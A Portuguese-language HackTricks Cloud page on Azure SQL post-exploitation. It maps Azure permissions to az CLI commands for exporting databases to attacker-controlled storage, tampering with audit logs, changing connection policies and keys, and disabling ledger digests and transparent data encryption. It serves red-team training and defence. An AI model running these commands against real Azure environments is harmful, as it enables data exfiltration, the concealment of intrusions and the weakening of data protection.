Az - SQL Database Post Exploitation
Reading time: 7 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
SQL Database Post Exploitation
Para mais informações sobre SQL Database, consulte:
Microsoft.Sql/servers/databases/read
, Microsoft.Sql/servers/read
&& Microsoft.Sql/servers/databases/write
Com essas permissões, um atacante pode criar e atualizar bancos de dados dentro do ambiente comprometido. Esta atividade de pós-exploração pode permitir que um atacante adicione dados maliciosos, modifique configurações de banco de dados ou insira backdoors para maior persistência, potencialmente interrompendo operações ou permitindo ações maliciosas adicionais.
# Create Database
az sql db create --resource-group <resource-group> --server <server-name> --name <new-database-name>
# Update Database
az sql db update --resource-group <resource-group> --server <server-name> --name <database-name> --max-size <max-size-in-bytes>
Com essas permissões (Microsoft.Sql/servers/read
&& Microsoft.Sql/servers/databases/write
), você pode restaurar um banco de dados excluído:
az sql db restore \
--dest-name <new_database_name> \
--name <original_database_name> \
--resource-group <resource_group> \
--server <server_name> \
--deleted-time "<deleted_time_ISO_format>"
Microsoft.Sql/servers/elasticPools/write
&& Microsoft.Sql/servers/elasticPools/read
Com essas permissões, um atacante pode criar e atualizar elasticPools dentro do ambiente comprometido. Esta atividade de pós-exploração pode permitir que um atacante adicione dados maliciosos, modifique configurações de banco de dados ou insira backdoors para maior persistência, potencialmente interrompendo operações ou permitindo ações maliciosas adicionais.
# Create Elastic Pool
az sql elastic-pool create \
--name <new-elastic-pool-name> \
--server <server-name> \
--resource-group <resource-group> \
--edition <edition> \
--dtu <dtu-value>
# Update Elastic Pool
az sql elastic-pool update \
--name <elastic-pool-name> \
--server <server-name> \
--resource-group <resource-group> \
--dtu <new-dtu-value> \
--tags <key=value>
Microsoft.Sql/servers/auditingSettings/read
&& Microsoft.Sql/servers/auditingSettings/write
Com esta permissão, você pode modificar ou habilitar as configurações de auditoria em um Azure SQL Server. Isso pode permitir que um atacante ou usuário autorizado manipule as configurações de auditoria, potencialmente encobrindo rastros ou redirecionando os logs de auditoria para um local sob seu controle. Isso pode dificultar a monitorização de segurança ou permitir que ela acompanhe as ações. NOTA: Para habilitar a auditoria para um Azure SQL Server usando Blob Storage, você deve anexar uma conta de armazenamento onde os logs de auditoria podem ser salvos.
az sql server audit-policy update \
--server <server_name> \
--resource-group <resource_group_name> \
--state Enabled \
--storage-account <storage_account_name> \
--retention-days 7
Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read
, Microsoft.Sql/servers/connectionPolicies/read
&& Microsoft.Sql/servers/connectionPolicies/write
Com esta permissão, você pode modificar as políticas de conexão de um Azure SQL Server. Essa capacidade pode ser explorada para habilitar ou alterar configurações de conexão em nível de servidor.
az sql server connection-policy update \
--server <server_name> \
--resource-group <resource_group_name> \
--connection-type <Proxy|Redirect|Default>
Microsoft.Sql/servers/databases/export/action
Com esta permissão, você pode exportar um banco de dados de um Azure SQL Server para uma conta de armazenamento. Um atacante ou usuário autorizado com essa permissão pode exfiltrar dados sensíveis do banco de dados exportando-o para um local que eles controlam, representando um risco significativo de violação de dados. É importante conhecer a chave de armazenamento para poder realizar isso.
az sql db export \
--server <server_name> \
--resource-group <resource_group_name> \
--name <database_name> \
--storage-uri <storage_blob_uri> \
--storage-key-type SharedAccessKey \
--admin-user <admin_username> \
--admin-password <admin_password>
Microsoft.Sql/servers/databases/import/action
Com esta permissão, você pode importar um banco de dados para um Azure SQL Server. Um atacante ou usuário autorizado com essa permissão pode potencialmente fazer upload de bancos de dados maliciosos ou manipulados. Isso pode levar ao controle sobre dados sensíveis ou à incorporação de scripts ou gatilhos prejudiciais dentro do banco de dados importado. Além disso, você pode importá-lo para seu próprio servidor no Azure. Nota: O servidor deve permitir que serviços e recursos do Azure acessem o servidor.
az sql db import --admin-user <admin-user> \
--admin-password <admin-password> \
--name <target-database-name> \
--server <azure-sql-server-name> \
--resource-group <resource-group-name> \
--storage-key-type SharedAccessKey \
--storage-key <storage-account-key> \
--storage-uri `https://<storage-account-name>.blob.core.windows.net/bacpac-container/MyDatabase.bacpac`
Microsoft.Sql/servers/connectionPolicies/write
&& Microsoft.Sql/servers/connectionPolicies/read
Com essas permissões, um usuário pode modificar e recuperar as políticas de conexão de um servidor Azure SQL. Essas permissões permitem que alguém altere a forma como os clientes se conectam ao servidor—escolhendo entre métodos como redirecionamento ou proxy—o que pode ser explorado para enfraquecer a segurança, redirecionar o tráfego ou interceptar dados sensíveis se configurado incorretamente.
az sql server conn-policy update \
--resource-group <resource_group> \
--server <server_name> \
--connection-policy <policy>
Microsoft.Sql/servers/keys/write
&& Microsoft.Sql/servers/keys/read
Com essas permissões, um usuário pode atualizar e recuperar chaves de criptografia associadas a um Azure SQL Server. Essas chaves são frequentemente usadas para proteger dados sensíveis por meio de criptografia, portanto, manipulá-las pode comprometer a segurança dos dados, permitindo a descriptografia não autorizada ou alterações na rotação de chaves.
az sql server key create \
--resource-group MyResourceGroup \
--server MyServer \
--kid "https://mykeyvault.vault.azure.net/keys/mykey/1234567890abcdef
Microsoft.Sql/servers/databases/ledgerDigestUploads/disable/action
, Microsoft.Sql/locations/ledgerDigestUploadsAzureAsyncOperation/read
, Microsoft.Sql/locations/ledgerDigestUploadsOperationResults/read
Esta permissão permite desativar o Ledger Digest para um Banco de Dados Azure SQL, o que interrompe o upload periódico de registros de digestão criptográfica para o Azure Blob Storage que verifica a integridade dos dados.
az sql db ledger-digest-uploads disable \
--name ledgerDB \
--resource-group myResourceGroup \
--server my-sql-server
Microsoft.Sql/servers/databases/transparentDataEncryption/write
, Microsoft.Sql/locations/transparentDataEncryptionAzureAsyncOperation/read
, Microsoft.Sql/servers/databases/transparentDataEncryption/read
Esta permissão permite que um usuário autorizado ou atacante ative, desative ou modifique as configurações de Criptografia de Dados Transparente (TDE) em um banco de dados Azure SQL, potencialmente impactando a segurança dos dados ao alterar as configurações de criptografia.
az sql db tde set \
--database <database-name> \
--resource-group <resource-group-name> \
--server <server-name> \
--status <Enabled|Disabled>
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.